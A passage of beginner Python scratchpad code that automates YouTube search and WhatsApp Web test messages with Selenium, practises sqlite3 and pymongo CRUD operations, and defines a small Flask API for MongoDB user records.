author, date, link]) # from selenium import webdriver # from selenium.webdriver.common.keys import Keys # from selenium.webdriver.common.by import By # from time import sleep # browser = webdriver.Chrome() # browser.maximize_window() # browser.get('https://www.youtube.com/') # sleep(3) # search_box = browser.find_element(By.XPATH, '/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input') # search_box.click() # search_box.send_keys("exorcist believer trailer", Keys.ENTER) # sleep(3) # # video = browser.find_element(By.XPATH, '/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string') # # video.click() # video = browser.find_element(By.PARTIAL_LINK_TEXT, 'A Look Inside') # video.click() # sleep(20) from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from time import sleep browser = webdriver.Chrome() browser.maximize_window() browser.get('https://web.whatsapp.com/') sleep(20) search_box = browser.find_element(By.XPATH, '/html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p') search_box.click() sleep(1) search_box.send_keys('PYTHON Daily morn RS 4/8/23', Keys.ENTER) sleep(2) for num in range(10): message_box = browser.find_element(By.XPATH, '/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div[2]/div[1]/p') message_box.click() message_box.send_keys('TEST MESSAGE USING PYTHON', Keys.ENTER) sleep(200) browser.close()
Scratchpad #26
# import sqlite3 # conn = sqlite3.connect('python_users.db') # cursor = conn.cursor() # # cursor.execute(""" # # CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT, age INTEGER) # # """) # # new_user = ('John Smith', '[email protected]', 24) # # cursor.execute("INSERT INTO users (name, email, age) VALUES (?,?,?)", new_user) # # cursor.execute('SELECT * FROM users') # # all_users = cursor.fetchall() # # print(all_users) # # cursor.execute('SELECT * FROM users WHERE name = ?', ('Jane Doe',)) # # john_doe = cursor.fetchone() # # print(john_doe) # cursor.execute('DELETE FROM users WHERE name = ?', ('Jane Doe',)) # conn.commit() # conn.close() import pymongo client = pymongo.MongoClient() db = client["python_users"] users = db["users"] # user = { # "name": "John Doe", # "email": "[email protected]", # "age": 20 # } # users_data = [ # { # "name": "Jane Doe", # "email": "[email protected]", # "age": 23 # }, # { # "name": "Jack Smith", # "email": "[email protected]", # "age": 30 # }, # ] # users.insert_one(users) # users.insert_many(users_data) # all_users = users.find() # # print(all_users) # for user in all_users: # print(user) # users.update_one({"name": "John Doe"}, {"$set": {"email": "[email protected]"}}) # users.delete_one({"name": "John Doe"}) # users.delete_many({})
Flask App (main.py)
from flask import Flask, request, jsonify from pymongo import MongoClient from bson import ObjectId app = Flask(__name__) client = MongoClient() db = client["python_users"] collection = db["users"] @app.route('/', methods=['GET']) def home(): return "<h1>API is running...</h1>" # Create a new user document @app.route("/users", methods=["POST"]) def create_user(): data = request.json result = collection.insert_one(data) return {"id": str(result.inserted_id)}, 201 # Fetch all user documents @app.route("/users", methods=["GET"]) def get_all_users(): data = list(collection.find()) for user in data: user["_id"] = str(user["_id"]) return jsonify(data) # Fetch a single user document by ID @app.route('/users/<id>', methods=["GET"]) def get_user(id): data = collection.find_one({"_id": ObjectId(id)}) if data is None: return {"message": "User not found"}, 404 data["_id"] = str(data["_id"]) return jsonify(data) if __name__ == "__main__": app.run(debug=True)